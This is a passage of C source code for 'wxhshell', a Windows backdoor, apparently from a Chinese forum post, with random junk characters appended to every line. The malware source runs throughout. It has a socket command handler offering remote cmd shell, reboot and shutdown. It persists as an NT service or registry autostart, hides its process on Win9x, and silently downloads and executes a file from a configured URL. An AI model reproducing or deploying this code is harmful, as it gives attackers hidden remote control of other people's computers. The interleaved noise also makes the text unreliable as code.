  else { BrE#.g Jq  
paIjXaU1Mb  
    switch(cmd[0]) { o(SPT?ao~  
  ih0a#PB8  
  // 帮助 > k\pSV[  
  case '?': { @\y{q;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O] PM L`  
    break; _,L_H[FN  
  } &6vaLx  
  // 安装 [WR"#y  
  case 'i': { !YAX.e  
    if(Install()) D0jV}oz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q0R05*  
    else S=r0tao,!v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tx PFl7,r  
    break; &RZO\ZT  
    } ) 1AAL0F\B  
  // 卸载 F9j@KC(yg  
  case 'r': { tC'E#2  
    if(Uninstall()) BwWSztJ+B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MTtx|L\4  
    else ej-A =avd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wI|h9q1U  
    break; +;~o R_p  
    } kku<0<(N  
  // 显示 wxhshell 所在路径 gvR]"h  
  case 'p': { 6NX#=A  
    char svExeFile[MAX_PATH]; Gf"TI:xa  
    strcpy(svExeFile,"\n\r"); i"a3POV>  
      strcat(svExeFile,ExeFile); nm1dd{U6^  
        send(wsh,svExeFile,strlen(svExeFile),0); [L+*pW+$\.  
    break; k4V3.i!E  
    } ?-)!dl%N  
  // 重启 k 3m_L-  
  case 'b': { [=(8yUV'G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l9f_NJHo  
    if(Boot(REBOOT)) ~-zIB=TyK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,N(Yjq"R  
    else { nnj<k5  
    closesocket(wsh); H7tv iSTd  
    ExitThread(0); jvB[bS`<H  
    } `Qo37B2  
    break; Mm@G{J\\  
    } |)!f".`  
  // 关机 .3C::~:  
  case 'd': { cZBXH*-M!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d MR?pbD  
    if(Boot(SHUTDOWN)) v`,!wS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OlCqv-B2&  
    else { "HJ^>%ia  
    closesocket(wsh); ?{ExBZNa  
    ExitThread(0); CO`)XB6W  
    } )7*'r@  
    break; cK1^jH<|  
    } $~6MR_Yq  
  // 获取shell 6HK1?  
  case 's': { )=Z;H"_  
    CmdShell(wsh); s0' haU  
    closesocket(wsh); 32 i6j  
    ExitThread(0); 7{}E{/  
    break; 7_2D4CI  
  } sg7h&<Xx  
  // 退出 CnB[ImMs(A  
  case 'x': { Z}$sY>E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |` :cB  
    CloseIt(wsh); 62HA[cr&)  
    break; 06]3+s{{  
    } E'a OHSAg  
  // 离开 X\Bl? F   
  case 'q': { .h meP MK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ts !g=F  
    closesocket(wsh); "6'",  
    WSACleanup(); f8lyH'z0 @  
    exit(1); $Lj ]NtO  
    break; <u\Hy0g  
        } b 5|*p(7[  
  } #1haq[Uv7  
  } HZAT_  
'l^Bb#)"  
  // 提示信息 t?>}0\1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -E|"?  
} QWOPCoUet  
  } <5E'`T  
ch8VJ^%Ra1  
  return; 4u iq'-  
} i6V$mhL  
6#U~>r/  
// shell模块句柄 ]!AS%D`  
int CmdShell(SOCKET sock) FXBmatBck  
{ "v:k5a(  
STARTUPINFO si; (O J/u)W^  
ZeroMemory(&si,sizeof(si)); ?IAu,s*u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "yw{A%J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  <)TIj6  
PROCESS_INFORMATION ProcessInfo; qkhre3  
char cmdline[]="cmd"; s8,YQ5-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o)5zvnu7  
  return 0; twr{jdY9  
} /^xv1F{  
ZFtR#r(~41  
// 自身启动模式 n' mrLZw  
int StartFromService(void) KhWy  
{ x >ah,  
typedef struct {nmu(E P  
{ G{: B'08  
  DWORD ExitStatus; $Xwk8<  
  DWORD PebBaseAddress; _\d|`3RM  
  DWORD AffinityMask; @FIL4sb  
  DWORD BasePriority; #[M^Q h  
  ULONG UniqueProcessId; ywp_,j9F  
  ULONG InheritedFromUniqueProcessId; dQIF '==6  
}   PROCESS_BASIC_INFORMATION; =7+%31  
K uwhA-IL  
PROCNTQSIP NtQueryInformationProcess; :-d#kU  
legWY)4D;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b~&cYk'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .fzyA5@l  
7Y@]o=DIc  
  HANDLE             hProcess; FL\pgbI  
  PROCESS_BASIC_INFORMATION pbi; ^rfR<Q`  
UUfM 7gq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4|_xz; i  
  if(NULL == hInst ) return 0; :? B4q#]N  
*N$XQ{o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u;9iuc` *  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c{Z "'t7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0\!Bh^++1  
}T.>p#z  
  if (!NtQueryInformationProcess) return 0; $Zyuhji^  
}'Ap@4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B`QF;,3S  
  if(!hProcess) return 0; U=JK  
GImPPF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^*l dsc  
|I1,9ex  
  CloseHandle(hProcess); a.<XJ\  
{BlTLAKm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s7yKx g+`{  
if(hProcess==NULL) return 0; !y_L~81?  
)>h3IR  
HMODULE hMod; )*}\fmOv{  
char procName[255]; 0Lj;t/mG  
unsigned long cbNeeded; 9QP=  
h:bx0:O"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s;P _LaIp)  
}BS EK<W  
  CloseHandle(hProcess); vfqXHc unj  
^?fsJ  
if(strstr(procName,"services")) return 1; // 以服务启动 oU1N>,  
8#$HKWUK  
  return 0; // 注册表启动 BD]J/o  
} x=rMjz-`_  
EB&hgz&_  
// 主模块 Ijiw`\;  
int StartWxhshell(LPSTR lpCmdLine) 1^o})9  
{ 2n>mISy+  
  SOCKET wsl; !jl^__ .DR  
BOOL val=TRUE; I`B ZZ-  
  int port=0; W= NX$=il  
  struct sockaddr_in door; EUt2 S_2P  
z}J~X%}e  
  if(wscfg.ws_autoins) Install(); !Yo2P"  
_K?v^oM#  
port=atoi(lpCmdLine); -ioO8D&!  
gAvNm[=wD2  
if(port<=0) port=wscfg.ws_port; P}AwE,&Q  
JGq9RB]D$  
  WSADATA data; @8J*vY =e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G?F!Z"S  
Ow?~+) 4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a?Fz&BE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1y[~xxgE  
  door.sin_family = AF_INET; R|Bi%q|4P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t@lTA>;U@  
  door.sin_port = htons(port); " AvEo  
i8Be%y%y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MA tF,  
closesocket(wsl); wIRU!lIF9  
return 1; dW/(#KP/+  
} )%Xp?H_  
_@\-`>J  
  if(listen(wsl,2) == INVALID_SOCKET) { 9r\p4_V  
closesocket(wsl); Wx/PD=Sf&  
return 1; L7 FFa:#  
} &:d`Pik6  
  Wxhshell(wsl); zLr:zfl  
  WSACleanup(); ~yN>9f U  
eY Rd#w  
return 0; Zu#^a|PE*  
pPsTgGai  
} 'GW~~UhdW  
_Hq)@A I   
// 以NT服务方式启动 M| }?5NS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ( q*/=u  
{ .gNJY7`b  
DWORD   status = 0; H RahBTd(z  
  DWORD   specificError = 0xfffffff; /3 L4K  
4UL"f<7 T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l-IA Q!d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Tw/7P~*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }5" Rj<  
  serviceStatus.dwWin32ExitCode     = 0; #?M[Q:  
  serviceStatus.dwServiceSpecificExitCode = 0; p/ZgzHyF  
  serviceStatus.dwCheckPoint       = 0; sn[<Lq  
  serviceStatus.dwWaitHint       = 0; QWm g#2'  
Rz>@G>b:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  CU\r I  
  if (hServiceStatusHandle==0) return; !x-9A  
@(/$;I,  
status = GetLastError(); Ei,dO;&  
  if (status!=NO_ERROR) =*(_sW6;  
{ Xhyc2DKa_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6a]Qg99\  
    serviceStatus.dwCheckPoint       = 0; Nsy>qa7  
    serviceStatus.dwWaitHint       = 0; ,uO?f1  
    serviceStatus.dwWin32ExitCode     = status; |.~2C1 4[  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2sBYy 8.r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B_c-@kl   
    return; AA|G &&1y  
  } 9Z2aFW9  
=;8q`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4tiCxf)  
  serviceStatus.dwCheckPoint       = 0; V,7Xeh(+5L  
  serviceStatus.dwWaitHint       = 0; !9C]Fs*`?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B&3@b  
} .Pe^u%J6F  
,mp^t2  
// 处理NT服务事件,比如:启动、停止 $f"Ce,f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _}H`(d%N  
{ !M6Km(>  
switch(fdwControl) yaC_r-%U&  
{ -> 'q  
case SERVICE_CONTROL_STOP: '}Jq(ah(  
  serviceStatus.dwWin32ExitCode = 0; ;M#D*<ucI:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0a$hK9BH  
  serviceStatus.dwCheckPoint   = 0; ewYk>  
  serviceStatus.dwWaitHint     = 0; KmF+3g~#s  
  { k V'0rb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z\J#d 1e  
  } &C/,~pJ1S  
  return; o2y #Yk  
case SERVICE_CONTROL_PAUSE: SsL>K*t5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r)w]~)8  
  break; L~M6 ca"  
case SERVICE_CONTROL_CONTINUE: Gnqun%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (j)>npOd9  
  break; P^/e!%UgC  
case SERVICE_CONTROL_INTERROGATE: w\a9A#v,  
  break; @:u2{>Yl  
}; 5)K?:7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =-uk7uZM  
} 7:)$oH  
{bp~_`O  
// 标准应用程序主函数 @rW%*?$7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w`Z@|A  
{ HX:^:pF}  
X% M*d%n b  
// 获取操作系统版本 "OKsl2e  
OsIsNt=GetOsVer(); '6>nXp?)r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4d]T`  
])T_&%  
  // 从命令行安装 t7 $2/C  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0K^G>)l  
m}-~VYDj  
  // 下载执行文件 p~u11rH  
if(wscfg.ws_downexe) { ~u80v h'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [~rBnzb  
  WinExec(wscfg.ws_filenam,SW_HIDE); j0K}nS\ P  
} ~Ywto  
?37Kc,o  
if(!OsIsNt) { r`=!4vY2  
// 如果时win9x,隐藏进程并且设置为注册表启动 z9*7fT  
HideProc(); e,0Gc-X[B  
StartWxhshell(lpCmdLine); A!5)$>!o  
} Z}6H529[  
else }"9jCxXL  
  if(StartFromService()) [hXU$Y>"0  
  // 以服务方式启动 D\G P+Ota  
  StartServiceCtrlDispatcher(DispatchTable); FBK6{rLMc  
else %xI,A'#  
  // 普通方式启动 Si%K|$?@  
  StartWxhshell(lpCmdLine); 3Q(#2tL=  
rsvGf7C  
return 0; ZTSNM)f  
}
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只看该作者 1 发表于: 2006-10-10
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